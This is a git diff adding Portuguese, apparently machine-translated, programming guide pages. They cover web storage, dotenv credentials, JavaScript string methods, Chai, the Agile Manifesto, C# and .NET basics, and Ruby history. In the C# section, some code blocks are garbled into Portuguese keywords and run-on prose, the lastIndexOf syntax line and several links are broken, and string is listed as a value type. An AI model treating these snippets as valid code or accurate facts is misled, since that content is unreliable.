+  Example: sessionStorage.getItem("mykey"); 
+```
+
+Você pode remover um item do `sessionStorage` usando o método `removeItem()` . Este método deve receber a chave do item a ser removido:
+```
+  Example: sessionStorage.removeItem("mykey"); 
+```
+
+Para limpar todo o `sessionStorage` , você deve usar o método `clear()` no objeto `sessionStorage` :
+```
+  Example: sessionStorage.clear(); 
+```
+
+## Salvando matrizes para localStorage e sessionStorage
+
+Você não pode salvar apenas valores únicos no `localStorage` e `sessionStorage` , mas também pode salvar o conteúdo de um array.
+
+Neste exemplo, temos uma matriz com números:
+```
+var ourArray =[1,2,3,4,5]; 
+```
+
+Agora podemos salvá-lo em `localStorage` ou `sessionStorage` usando o método `setItem()` :
+```
+localStorage.setItem("ourarraykey",JSON.stringify(ourArray)); 
+```
+
+ou, para `sessionStorage` :
+```
+sessionStorage.setItem("ourarraykey",JSON.stringify(ourArray)); 
+```
+
+Para ser salvo, o array deve primeiro ser convertido em uma string. No exemplo mostrado acima, estamos usando o método `JSON.stringify` para fazer isso.
+
+Ao recuperar nossos dados do `localStorage` ou `sessionStorage` , converta-os de volta em uma matriz:
+```
+var storedArray = localStorage.getItem("ourarraykey"); 
+ ourArray = JSON.parse(storedArray); 
+```
+
+ou, para `sessionStorage` :
+```
+var storedArray = sessionStorage.getItem("ourarraykey"); 
+ ourArray = JSON.parse(storedArray); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md b/client/src/guide/portuguese/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md
new file mode 100644
index 0000000000..d1f63e73cf
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/storing-mongo-username--password-persistently-using-dotenv/index.md
@@ -0,0 +1,84 @@
+---
+title: Storing Mongo Username  Password Persistently Using Dotenv
+localeTitle: Armazenando Mongo Username Password persistentemente usando Dotenv
+---
+## Armazenando informações seguras para aplicativos com dotenv
+
+Este artigo é sobre como salvar informações de credenciais de nome de usuário e senha para acesso seguro a bancos de dados em sites de terceiros como o mLab em seu ambiente de teste local para protegê-los de qualquer pessoa que olhe seu repositório público em um site como o github.
+
+Informações confidenciais ou seguras nunca devem ser armazenadas em seu código e enviadas para um repositório, porque elas seriam expostas publicamente, o que colocaria suas informações em risco, e o colocaria em risco de perder acesso à API ou ao banco de dados se alguém usar suas credenciais de forma fraudulenta.
+
+[Este artigo da wiki](//forum.freecodecamp.com/t/guide-for-using-mongodb-and-deploying-to-heroku/19347/3) discute como proteger suas credenciais usando o comando de exportação, mas para tornar essas variáveis ​​persistentes, você tem duas opções. No entanto, as variáveis ​​de configuração definidas dessa maneira são apagadas sempre que o shell é reiniciado, como quando você encerra o computador e reinicia para uma nova sessão de codificação.
+
+Você teria que percorrer todas as etapas novamente para definir suas variáveis ​​de ambiente cada vez que você iniciasse um novo shell de terminal. Isso significa que você precisa armazenar suas credenciais em um arquivo de texto em algum lugar ou continuar procurando-as em sua conta de terceiros (como o mLab).
+
+Fazer isso toda vez que você iniciar uma nova sessão é tedioso e, em vez de armazená-los no código em si, onde é fácil encontrá-los, mostrarei uma maneira de usar o arquivo de texto e importar suas credenciais.
+
+A primeira opção é usar o perfil do shell e exportar essas variáveis ​​toda vez que você inicializar um novo terminal. No entanto, ao longo de algumas semanas de desenvolvimento de novos aplicativos e projetos, seu perfil de shell ficaria entupido com uma lista enorme de variáveis ​​das quais você não precisará de todas as sessões. Você só precisa das credenciais para o aplicativo em que está trabalhando atualmente.
+
+## Limpar um repositório do git contendo credenciais seguras
+
+Se você já empurrou seu repositório para o github com suas credenciais armazenadas na base de código, simplesmente excluí-las e empurrá-las novamente não ajudará, porque suas credenciais são armazenadas em seu histórico, o que também é visível para o público. Se este for o caso, use estes comandos para redefinir seu repositório git e eliminar seu histórico.
+
+**Primeiro,** exclua seu repositório do github. Você criará um novo quando estiver pronto.
+
+**Segundo,** exclua seu repositório git local de seu diretório de trabalho.  
+\-Alterar diretórios para o seu diretório de trabalho. Seu arquivo de repositório .git deve estar aqui.  
+CUIDADO: usar o sinalizador -rf pode excluir todo o seu disco rígido se não for usado corretamente. Eu uso o sinalizador -i, que significa interativo para ter certeza de que estou no diretório correto. Depois de selecionar alguns arquivos e tenho 100% de certeza de que estou no lugar certo, vou matar o comando e executá-lo novamente sem o sinalizador -i. Faça o que você se sentir mais confortável, mas é aconselhável ter um backup completo do seu computador (em mais de um lugar) antes de executar o comando -rm.
+```
+cd <project-name> 
+ rm -i -rf .git 
+```
+
+**Terceiro,** certifique-se de atualizar seu arquivo .gitignore para incluir o arquivo .env, além de outras pastas que deseja manter privadas. Arquivos IDE locais, como .idea / se estiver usando jetbrains, por exemplo, podem estar neste arquivo. Meu arquivo .gitignore se parece com isso. Observe que você pode adicionar uma pasta ou arquivo aqui antes de ser criado sem causar erros.
+
+`.gitignore`  
+node\_modules  
+.env  
+dados/  
+.idéia/
+
+**Finalmente** crie um novo repositório. Agora você está pronto para continuar criando seu arquivo .env e empurrando seu repositório com segurança para o github e manter suas credenciais seguras.
+
+`git init`
+
+## Como usar o dotenv em sua aplicação local
+
+É aqui que o módulo dotenv do nó pode ajudar. Para usar o dotenv, você precisa requerê-lo no código do aplicativo, chame a função config () nele que extrai suas credenciais de um arquivo armazenado localmente em seu computador. Este arquivo é chamado `.env`
+
+**Etapa 1:** Crie um arquivo .env e armazene suas variáveis ​​nele  
+`MONGOLAB_URI="mongodb://username:password@ds01316.mlab.com:1316/food"`
+
+**Passo 2:** Requerer o dotenv na sua aplicação principal  
+em seu `app.js` principal (ou qualquer nome que você tenha nomeado)  
+`var dotenv = require('dotenv');`
+
+**Etapa 3:** chame a função config em sua variável. (note que tudo isso pode ser feito em uma linha por encadeamento, mas eu gosto de ver isso ocorrer como uma atividade separada).  
+`dotenv.config();`
+
+**Etapa 4:** defina sua URL do mongodb chamando suas variáveis ​​de processo:  
+`var url = process.env.MONGOLAB_URI;`
+
+Essa solução mantém seu código limpo das credenciais seguras que você não deseja enviar para um repositório público, mantendo cada aplicativo organizado e economizando tempo durante o desenvolvimento.
+
+**Referências:**
+
+[osxdaily.com](http://osxdaily.com/2015/07/28/set-enviornment-variables-mac-os-x/)
+
+! \[\] (http://cdn.osxdaily.com/wp-content/uploads/2014/08/terminal-icon-osx.png) ### [Onde definir variáveis ​​de ambiente no Mac OS X](http://osxdaily.com/2015/07/28/set-enviornment-variables-mac-os-x/) Na linha de comando, as variáveis ​​ambientais são definidas para o shell atual e são herdadas por qualquer comando ou processo em execução. Eles podem determinar qualquer coisa do shell padrão, o PATH,…
+
+[stackoverflow.com](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+[! \[Drake Main](https://i.stack.imgur.com/jRaTj.jpg?s=128&g=1) \] (http://stackoverflow.com/users/4956243/drake-main) #### [Prática recomendada ao usar uma chave de API no Node.js](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+\*\* node.js, api-key \*\*
+
+perguntou por [Drake Main](http://stackoverflow.com/users/4956243/drake-main) em [07:05 - 12 de fevereiro 16](http://stackoverflow.com/questions/35356692/best-practice-when-using-an-api-key-in-node-js)
+
+[stackoverflow.com](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
+
+[! \[Peiniau](https://www.gravatar.com/avatar/9db1745a666cface1731c12d54e189e6?s=128&d=identicon&r=PG) \] (http://stackoverflow.com/users/105813/peiniau) #### [Como deletar completamente um repositório git criado com o init?](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
+
+\*\* git, git-init \*\*
+
+perguntado por [Peiniau](http://stackoverflow.com/users/105813/peiniau) em [04:06 PM - 31 jul 09](http://stackoverflow.com/questions/1213430/how-to-fully-delete-a-git-repository-created-with-init)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/stringprototypelastindexof/index.md b/client/src/guide/portuguese/miscellaneous/stringprototypelastindexof/index.md
new file mode 100644
index 0000000000..df5d08c54b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/stringprototypelastindexof/index.md
@@ -0,0 +1,66 @@
+---
+title: String.prototype.lastIndexOf
+localeTitle: String.prototype.lastIndexOf
+---
+O método `lastIndexOf()` retorna o índice dentro do objeto String de chamada da última ocorrência do valor especificado, ou -1 se não for encontrado. A string de chamada é pesquisada para trás, começando em `fromIndex` .
+
+## Sintaxe
+```
+str.lastIndexOf(searchValue<a href='https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf' target='_blank' rel='nofollow'>, fromIndex]) 
+```
+
+## Parâmetros
+
+**searchValue**
+
+Uma string representando o valor a ser pesquisado.
+
+**fromIndex**
+
+Opcional. O local dentro da string de chamada para iniciar a pesquisa, indexado da esquerda para a direita. Pode ser qualquer inteiro. O valor padrão é `str.length` . Se for negativo, será tratado como 0. Se `fromIndex > str.length` , `fromIndex` será tratado como `str.length` .
+
+\[Ligação MDN | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/6d20k718%28v=vs.94%29.aspx)
+
+## Retorna
+
+Retorna a última ocorrência de uma substring na string.
+
+## Descrição
+
+Caracteres em uma string são indexados da esquerda para a direita. O índice do primeiro caractere é 0 e o índice do último caractere é `stringName.length - 1` .
+
+O método `lastIndexOf()` faz `lastIndexOf()` maiúsculas e minúsculas. Por exemplo, a expressão a seguir retorna `-1` :
+
+## Exemplos
+```
+'canal'.lastIndexOf('a');     // returns 3 
+ 'canal'.lastIndexOf('a', 2);  // returns 1 
+ 'canal'.lastIndexOf('a', 0);  // returns -1 
+ 'canal'.lastIndexOf('x');     // returns -1 
+ 'Blue Whale, Killer Whale'.lastIndexOf('blue'); // returns -1 
+ 
+ var anyString = 'Brave new world'; 
+ 
+ console.log('The index of the first w from the beginning is ' + anyString.indexOf('w')); 
+ // logs 8 
+ console.log('The index of the first w from the end is ' + anyString.lastIndexOf('w')); 
+ // logs 10 
+ console.log('The index of "new" from the beginning is ' + anyString.indexOf('new')); 
+ // logs 6 
+ console.log('The index of "new" from the end is ' + anyString.lastIndexOf('new')); 
+ // logs 6 
+ 
+ var str = "time, time"; 
+ 
+ var s = ""; 
+ s += "time is at position " + str.lastIndexOf("time"); 
+ s += "<br />"; 
+ s += "abc is at position " + str.lastIndexOf("abc"); 
+ 
+ document.write(s); 
+ 
+ // Output: 
+ // time is at position 6 
+ // abc is at position -1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/testing-with-chaijs/index.md b/client/src/guide/portuguese/miscellaneous/testing-with-chaijs/index.md
new file mode 100644
index 0000000000..6a9772ba5e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/testing-with-chaijs/index.md
@@ -0,0 +1,41 @@
+---
+title: Testing with Chaijs
+localeTitle: Testando com Chaijs
+---
+[Chai](http://chaijs.com) é uma biblioteca de testes para o Node.js.
+
+### Instalação
+
+Você pode instalar o Chai no seu projeto através do npm.
+```
+npm install chai 
+```
+
+##### Pró-dica
+
+Adicione Chai em devDependencies de _package.json_ , usando \* como tag de versão. Desta forma, você sempre tem a versão mais recente.
+```
+"devDependencies": { 
+  "chai": "*" 
+ } 
+```
+
+### Como usar
+
+#### Afirmar
+
+Você pode usar _assert_ para verificar se seus testes estão com bom desempenho.
+```
+var assert = require('chai').assert, foo = 'bar', beverages = { tea: [ 'chai', 'matcha', 'oolong' ] }; 
+ 
+ assert.typeOf(foo, 'string'); // without optional message 
+ assert.typeOf(foo, 'string', 'foo is a string'); // with optional message 
+ assert.equal(foo, 'bar', 'foo equal `bar`'); 
+ assert.lengthOf(foo, 3, 'foo`s value has a length of 3'); 
+ assert.lengthOf(beverages.tea, 3, 'beverages has 3 types of tea'); 
+```
+
+### Mais informações:
+
+*   `help chai assert`
+*   `help chai expectations`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/the-agile-manifesto/index.md b/client/src/guide/portuguese/miscellaneous/the-agile-manifesto/index.md
new file mode 100644
index 0000000000..f483d86bcc
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/the-agile-manifesto/index.md
@@ -0,0 +1,38 @@
+---
+title: The Agile Manifesto
+localeTitle: O Manifesto Ágil
+---
+### Para desenvolvimento de software ágil
+
+O desenvolvimento ágil foi escrito em 2001 por um grupo de 17 especialistas em software que incluiu os criadores de Scrum Extreme Programming (XP), Dynamic Systems Development Method (DSDM) e Crystal; um representante do desenvolvimento orientado por recursos; e vários outros líderes de pensamento na indústria de software. O Manifesto Ágil estabeleceu um conjunto comum de valores e princípios abrangentes para todas as metodologias ágeis individuais no momento. Este é esse manifesto.
+
+Estamos descobrindo maneiras melhores de desenvolver software fazendo isso e ajudando outros a fazerem isso. Por meio desse trabalho, passamos a valorizar:
+
+1.  Indivíduos e interações sobre processos e ferramentas.
+2.  Software que trabalha sobre uma documentação completa
+3.  Colaboração do cliente sobre negociação de contrato
+4.  Respondendo para mudar depois de um plano
+
+> Ou seja, enquanto houver valor nos itens à direita, valorizamos mais os itens à esquerda.
+
+Signatários Originais:
+
+*   Kent Beck
+*   Mike Beedle
+*   Arie van Bennekum
+*   Alistair Cockburn
+*   Ward Cunningham
+*   Martin Fowler
+*   James Grenning
+*   Jim Highsmith
+*   Andrew Hunt
+*   Ron Jeffries
+*   Jon Kern
+*   Brian Marick
+*   Robert C. Martin
+*   Steve Mellor
+*   Ken Schwaber
+*   Jeff Sutherland
+*   Dave Thomas
+
+Leia o original em [http://agilemanifesto.org/](http://agilemanifesto.org/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/the-c-programming-language/index.md b/client/src/guide/portuguese/miscellaneous/the-c-programming-language/index.md
new file mode 100644
index 0000000000..eae838699b
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/the-c-programming-language/index.md
@@ -0,0 +1,198 @@
+---
+title: The C Programming Language
+localeTitle: A linguagem de programação C
+---
+## Noções básicas
+
+*   Configuração
+*   Seu primeiro programa c #
+*   Tipos e Variáveis
+*   Declarações de Controle de Fluxo
+*   Operadores
+*   Cordas
+*   Classes, Objetos, Interface e Métodos Principais
+*   Campos e Propriedades
+*   Modificadores de escopo e acessibilidade
+*   Tratamento de exceções
+
+## Intermediário
+
+*   Genéricos
+*   Eventos, Delegados e Expressões Lambda
+*   Quadro de coleção
+*   LINQ
+
+## Avançado
+
+*   Programação Assíncrona (Async e Await)
+*   Biblioteca paralela de tarefas
+
+## O que há de novo no C # 6
+
+*   Operador Nulo-Condicional
+*   Inicializadores de Auto-Propriedade
+*   Nameof Expressions
+*   Funções e propriedades corporais da expressão
+*   Outras características
+
+## Princípios Orientados a Objetos (OOP)
+
+*   Encapsulamento
+*   Abstração
+*   Herança
+*   Polimorfismo
+
+## Princípios sólidos
+
+*   Princípio da responsabilidade única
+*   Princípio Fechado Aberto
+*   Princípio da Substituição de Liskov
+*   Princípio de Segregação de Interface
+*   Princípio de Inversão de Dependência
+
+## Melhores Práticas C #, Padrões de Design e Desenvolvimento Orientado a Testes (TDD)
+
+## Configuração
+
+[LinqPad](http://www.linqpad.net/) é um [bloco de rascunho](http://www.linqpad.net/) .net para testar rapidamente seus trechos de código c #. A edição padrão é gratuita e uma ferramenta perfeita para iniciantes executar declarações de linguagem, expressões e programas.
+
+Como alternativa, você também pode fazer o download do [Visual Studio Community 2015,](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx) que é um [IDE](https://en.wikipedia.org/wiki/Integrated_development_environment) extensível usado pela maioria dos profissionais para criar aplicativos corporativos.
+
+## Seu primeiro programa c #
+```
+//this is the single line comment 
+ 
+ /** This is multiline comment, 
+ compiler ignores any code inside comment blocks. 
+ **/ 
+ 
+ //This is the namespace, part of the standard .NET Framework Class Library 
+ using System; 
+ // namespace defines the scope of related objects into packages 
+ namespace Learning.CSharp 
+ { 
+  // name of the class, should be same as of .cs file 
+  public class Program 
+  { 
+    //entry point method for console applications 
+   public static void Main() 
+    { 
+      //print lines on console 
+      Console.WriteLine("Hello, World!"); 
+      //Reads the next line of characters from the standard input stream.Most common use is to pause program execution before clearing the console. 
+      Console.ReadLine(); 
+    } 
+  } 
+ } 
+```
+
+Cada aplicativo de console C # deve ter um [método Main,](https://msdn.microsoft.com/en-gb/library/acy3edy3.aspx) que é o ponto de entrada do programa.
+
+Edite o [HelloWorld](https://dotnetfiddle.net/kY7QRm) no .NET Fiddle, uma ferramenta inspirada no [JSFiddle,](http://jsfiddle.net) onde você pode alterar os trechos de código e verificar a saída por si mesmo. Note que isso é apenas para compartilhar e testar os trechos de código, não para serem usados ​​no desenvolvimento de aplicativos.
+
+Se você estiver usando o Visual Studio, siga este [tutorial](https://msdn.microsoft.com/en-us/library/k1sx6ed2.aspx) para criar o aplicativo de console e entender seu primeiro programa em C #.
+
+## Tipos e Variáveis
+
+C # é uma linguagem fortemente tipada. Cada variável tem um tipo. Toda expressão ou declaração é avaliada como um valor. Existem dois tipos de tipos em c #
+
+*   Tipos de valor
+*   Tipos de referência.
+
+**Tipos de valor** : Variáveis ​​que são tipos de valor contêm valores diretamente. Atribuir uma variável de tipo de valor a outra copia o valor contido.
+
+[Editar no .NET Fiddle](https://dotnetfiddle.net/JCkTxb)
+```
+int a = 10; 
+ int b = 20; 
+ a=b; 
+ Console.WriteLine(a); //prints 20 
+ Console.WriteLine(b); //prints 20 
+```
+
+Observe que em outras linguagens dinâmicas isso pode ser diferente, mas em C # isso é sempre uma cópia de valor. Quando o tipo de valor é criado, é criado um único espaço na [pilha](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline2) , que é uma estrutura de dados "LIFO" (last in, first out). A pilha tem limites de tamanho e as operações de memória são eficientes. Alguns exemplos de tipos de dados internos são `int, float, double, decimal, char and string` .
+
+Digite | Exemplo | Descrição  
+\--------- | -------------------------------------------------- --------------------------- | -------------------------------------------------- -------------------------------------------------- -----------------------------  
+_Inteiro_ | `int fooInt = 7;` | Inteiro de **32 bits assinado**  
+_Longo_ | `long fooLong = 3000L;` | Inteiro de **64 bits assinado** . **L é usado para especificar que esse valor de variável é do tipo long / ulong**  
+_Duplo_ | `double fooDouble = 20.99;` | Precisão: **15 a 16 dígitos**  
+_Float_ | `float fooFloat = 314.5f;` | Precisão: **7 dígitos** . **F é usado para especificar que esse valor da variável é do tipo float**  
+_Decimal_ | `decimal fooDecimal = 23.3m;` | Precisão: **28-29 dígitos.** Sua precisão e menor alcance torna apropriado para **cálculos financeiros e monetários**  
+_Char_ | `char fooChar = 'Z';` | Um único **caractere Unicode de 16 bits**  
+_Booleano_ | `bool fooBoolean = false;` | Booleano - **verdadeiro e falso**  
+_String_ | `string fooString = "\"escape\" quotes and add \n (new lines) and \t (tabs);` | **Uma cadeia de caracteres Unicode.**
+
+Para uma lista completa de todos os tipos de dados integrados, veja [aqui](https://msdn.microsoft.com/en-us/library/ms228360)
+
+[**Tipos de referência**](https://msdn.microsoft.com/en-us/library/490f96s2.aspx) : Variáveis ​​de tipos de referência armazenam referências a seus objetos, o que significa que armazenam o endereço no local dos dados na [pilha](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline2) , também conhecidos como ponteiros. Dados reais são armazenados na memória [heap](http://gribblelab.org/CBootcamp/7_Memory_Stack_vs_Heap.html#orgheadline3) . Atribuir tipo de referência a outro não copia os dados, em vez disso, cria a segunda cópia de referência que aponta para o mesmo local no heap.
+
+No heap, os objetos são alocados e desalocados em ordem aleatória, e é por isso que isso requer a sobrecarga do gerenciamento de memória e da [coleta de lixo](https://msdn.microsoft.com/en-us/library/hh156531(v=vs.110) .aspx).
+
+A menos que você esteja escrevendo [código não seguro](https://msdn.microsoft.com/en-us/library/t2yzs44b.aspx) ou lidando com [código não gerenciado](https://msdn.microsoft.com/en-us/library/sd10k43k(v=vs.100) .aspx), você não precisa se preocupar com a vida útil de seus locais de memória. O compilador .NET e o CLR cuidarão disso, mas ainda é bom manter essa mentalidade para otimizar o desempenho de seus aplicativos.
+
+Mais informações [aqui](http://www.c-sharpcorner.com/UploadFile/rmcochran/csharp_memory01122006130034PM/csharp_memory.aspx?ArticleID=9adb0e3c-b3f6-40b5-98b5-413b6d348b91)
+
+## Declarações de Controle de Fluxo
+
+*   [Se outra](https://msdn.microsoft.com/en-us/library/5011f09h.aspx) afirmação: [Edite no .NET Fiddle](https://dotnetfiddle.net/IFVB33)
+    
+    ```
+            int myScore = 700; 
+            if (myScore == 700) 
+            { 
+                Console.WriteLine("I get printed on the console"); 
+            } 
+            else if (myScore > 10) 
+            { 
+                Console.WriteLine("I don't"); 
+            } 
+            else 
+            { 
+                Console.WriteLine("I also don't"); 
+            }
+    ```
+    
+*   [Instrução Switch](https://msdn.microsoft.com/en-GB/library/06tc147t.aspx) : [Edite no Fiddle .NET](https://dotnetfiddle.net/lPZftO)
+    
+    usando o sistema;
+    
+    Programa de classe pública { public static void Main () { int myNumber = 0; switch (myNumber) { // Uma seção de opção pode ter mais de um rótulo de caso. caso 0: caso 1: { Console.WriteLine ("Caso 0 ou 1"); pausa; }
+    
+    ```
+            // Most switch sections contain a jump statement, such as a break, goto, or return.; 
+            case 2: 
+                Console.WriteLine("Case 2"); 
+                break; 
+            // 7 - 4 in the following line evaluates to 3. 
+            case 7 - 4: 
+                Console.WriteLine("Case 3"); 
+                break; 
+            // If the value of myNumber is not 0, 1, 2, or 3 the 
+            //default case is executed.* 
+            default: 
+                Console.WriteLine("Default case. This is also optional"); 
+                break; // could also throw new Exception() instead 
+        } 
+     } 
+    
+    ```
+    
+    }
+    
+*   [For](https://msdn.microsoft.com/en-us/library/ch45axte.aspx) & [Foreach](https://msdn.microsoft.com/en-gb/library/ttw7t8t6.aspx) : [Editar no .NET Fiddle](https://dotnetfiddle.net/edxtvq)
+    
+    para (int i = 0; i <10; i ++) { Console.WriteLine (i); // imprime 0-9 }
+    
+    Console.WriteLine (Environment.NewLine); para (int i = 0; i <= 10; i ++) { Console.WriteLine (i); // imprime 0-10 }
+    
+    Console.WriteLine (Environment.NewLine); para (int i = 10 - 1; i> = 0; i--) // loop de decremento { Console.WriteLine (i); // imprime 9-0 }
+    
+    Console.WriteLine (Environment.NewLine); //para (; ; ) { // Todas as expressões são opcionais. Esta afirmação // cria um loop infinito. \* //  
+    }
+    
+*   [Enquanto](https://msdn.microsoft.com/en-us/library/2aeyhxcd.aspx) & [do-while](https://msdn.microsoft.com/en-us/library/370s1zax.aspx) : [Edite no .NET Fiddle](https://dotnetfiddle.net/O5hOF1)
+    
+    // Continue o loop while até o índice ser igual a 10. int i = 0; enquanto (i <10) { Console.Write ("declaração While"); Console.WriteLine (i); // Grava o índice na tela. i + + // Incrementa a variável. }
+    
+    int number = 0; // funciona primeiro, até que a condição seja satisfeita, ou seja, termina quando o número é igual a 4. Faz { Console.WriteLine (number); // imprime o valor de 0 a 4 número ++; // Adicione um ao número. } while (number <= 4);
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/the-es6-promises/index.md b/client/src/guide/portuguese/miscellaneous/the-es6-promises/index.md
new file mode 100644
index 0000000000..d1e3991621
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/the-es6-promises/index.md
@@ -0,0 +1,15 @@
+---
+title: The Es6 Promises
+localeTitle: As promessas Es6
+---
+Um novo recurso do ES6 para ajudar na programação assíncrona.
+
+## sintaxe
+```
+new Promise(executor); 
+ new Promise(function(resolve, reject) { ... }); 
+```
+
+![Imagem MDN](//discourse-user-assets.s3.amazonaws.com/original/2X/8/803d67f7e823e9e50b55debaa82bb661543d2ddc.png)
+
+leia mais em [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/the-history-of-ruby/index.md b/client/src/guide/portuguese/miscellaneous/the-history-of-ruby/index.md
new file mode 100644
index 0000000000..7e80ca50dd
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/the-history-of-ruby/index.md
@@ -0,0 +1,21 @@
+---
+title: The History of Ruby
+localeTitle: A história do Ruby
+---
+[Ruby](https://www.ruby-lang.org/en/) é uma linguagem de programação dinâmica, orientada a objetos, [reflexiva](https://en.wikipedia.org/wiki/Reflection_(computer_programming) ) com foco na simplicidade e produtividade. Tem uma sintaxe elegante que é natural de ler e fácil de escrever. Também possui um sistema de tipo dinâmico e gerenciamento automático de memória.
+
+Conhecido por seu [açúcar sintático](https://en.wikipedia.org/wiki/Syntactic_sugar) , Ruby é feito para a felicidade do desenvolvedor. Foi criado por um engenheiro de software japonês, [Yukihiro Matsumoto](https://en.wikipedia.org/wiki/Yukihiro_Matsumoto) (também popularmente conhecido como Matz) como uma linguagem de script simples para uso geral em seu trabalho diário. Combinando elementos de Perl, Smalltalk e Scheme em uma sintaxe simples, mas poderosa.
+
+Ruby foi concebido em 24 de fevereiro de 1993. Em um post de 1999 para a lista de discussão ruby-talk, Yukihiro Matsumoto descreve algumas de suas primeiras idéias sobre a linguagem:
+
+> Eu estava conversando com meu colega sobre a possibilidade de uma linguagem de script orientada a objeto. Eu conhecia Perl (Perl4, não Perl5), mas não gostei muito, porque tinha o cheiro de uma linguagem de brinquedo (ainda tem). A linguagem orientada a objetos parecia muito promissora. Eu sabia Python então. Mas eu não gostei, porque não achei que fosse uma verdadeira linguagem orientada a objetos - os recursos OO pareciam ser complementares à linguagem. Como um maníaco por linguagem e fã de OO por 15 anos, eu realmente queria uma linguagem de script genuína orientada a objeto e fácil de usar. Eu procurei, mas não consegui encontrar um. Então eu decidi fazer isso.
+
+Como o Perl, o Ruby é bom no processamento de texto. Como o Smalltalk, tudo em Ruby é um objeto, e Ruby tem blocos, iteradores, meta-classes e outras coisas boas. Você pode usar o Ruby para criar servidores, experimentar protótipos e realizar tarefas de programação cotidianas. Como uma linguagem orientada a objetos totalmente integrada, o Ruby escala bem.
+
+Em 2000, o Ruby era mais popular que o Python no Japão; mas como o framework web [Ruby on Rails](http://rubyonrails.org/) foi criado e lançado; cresceu aos trancos e barrancos, bem além do Japão.
+
+Hoje, Ruby on Rails é considerado um framework web sólido; e foi pioneiro em muitas ótimas práticas em desenvolvimento web.
+
+Da mesma forma, muitos [sites populares](https://prograils.com/posts/top-10-famous-sites-built-with-ruby-on-rails) são codificados em Ruby on Rails, como Github, Airbnb, Groupon, etc.
+
+Existem várias [implementações](https://github.com/cogitator/ruby-implementations/wiki/List-of-Ruby-implementations) do Ruby. JRuby (Ruby na JVM), Ruby MRI (também chamado de CRuby) e IronRuby (Ruby para .NET e Silverlight) são alguns dos mais populares.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/the-net-platform/index.md b/client/src/guide/portuguese/miscellaneous/the-net-platform/index.md
new file mode 100644
index 0000000000..4a55c68ab3
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/the-net-platform/index.md
@@ -0,0 +1,36 @@
+---
+title: The Net Platform
+localeTitle: A plataforma líquida
+---
+**A plataforma .NET** é uma coleção grande e abrangente de estruturas e bibliotecas gerenciadas pela [Microsoft](https://www.microsoft.com/net) . C # é a linguagem mais popular usada para desenvolver uma variedade de aplicativos .NET, como [aplicativos da web](http://www.asp.net/) , [janelas aps](https://dev.windows.com/en-us/) , [aplicativos para Mac e iPhone](https://www.xamarin.com/platform) .
+
+Começaremos aprendendo a linguagem de programação C # e familiarizaremos você com o ambiente de desenvolvimento, as estruturas de projeto, as técnicas e as práticas recomendadas que você executará como desenvolvedor profissional.
+
+Primeiro, vamos começar com uma breve visão geral da plataforma .NET e tirar alguns jargões do caminho. Não se preocupe, você não precisa saber a fundo sobre isso neste momento.
+
+*   [.NET Framework](https://msdn.microsoft.com/en-gb/library/w0x726c2(v=vs.110) .aspx): ( _pronuncia-se dot net_ ) fornece a configuração para o seu aplicativo ser executado sobre ele. Ele fornece todos os serviços que um aplicativo precisa; por exemplo, comunicação com banco de dados, redes, sistemas de arquivos que são comumente usados ​​para construir aplicativos de console, desktop, web, móveis e jogos.
+    
+    *   [CLR (Common Language Runtime)](https://msdn.microsoft.com/en-us/library/8bs2ecf4(v=vs.100) .aspx): é um ambiente de execução para sua aplicação que gerencia seu ciclo de vida. O CLR fornece serviços como gerenciamento de memória e é:
+    
+    1\. implementação da [norma CLI (Common Language Infrastructure)](http://www.ecma-international.org/publications/standards/Ecma-335.htm) 2. projetado para ser independente de plataforma. Plataforma refere-se à arquitetura do computador e ao sistema operacional. 3. independente de idioma, por exemplo, pode ser usado para C #, C ++, [VB.NET\] \[vbnet\] e \[F #\] \[fsharp\].](https://msdn.microsoft.com/en-us/library/system.io(v=vs.110)
+    
+*   C-Sharp Compiler: um `csc.exe` é um compilador que transforma o código C # em Microsoft Intermediate Language (MSIL), comumente chamado de IL. Define instruções que o CLR pode entender. O trabalho da CLR é ler essas instruções e transformá-las em instruções compreensíveis pela máquina.
+    
+*   Bibliotecas de classes: contém milhares de classes internas para o uso de seu aplicativo, por exemplo, \[ `System.IO` .aspx\] para leitura / gravação de fluxos de dados, [`HttpClient`](https://msdn.microsoft.com/en-us/library/system.net.http.httpclient(v=vs.118) .aspx) envia dados pela rede, [`ASP.NET`](http://www.asp.net/) para aplicativos da Web, [`ADO.NET`](https://msdn.microsoft.com/en-us/library/h43ks021(v=vs.110) .aspx) para acesso a dados a bancos de dados relacionais (como Microsoft SQL Server e MySQL) e [Windows Communications Foundation (WCF)](https://msdn.microsoft.com/en-us/library/ms735119(v=vs.90) .aspx) para aplicativos orientados a serviços que se comuniquem através de protocolos estabelecidos como HTTP, REST, SOAP e TCP etc.
+    
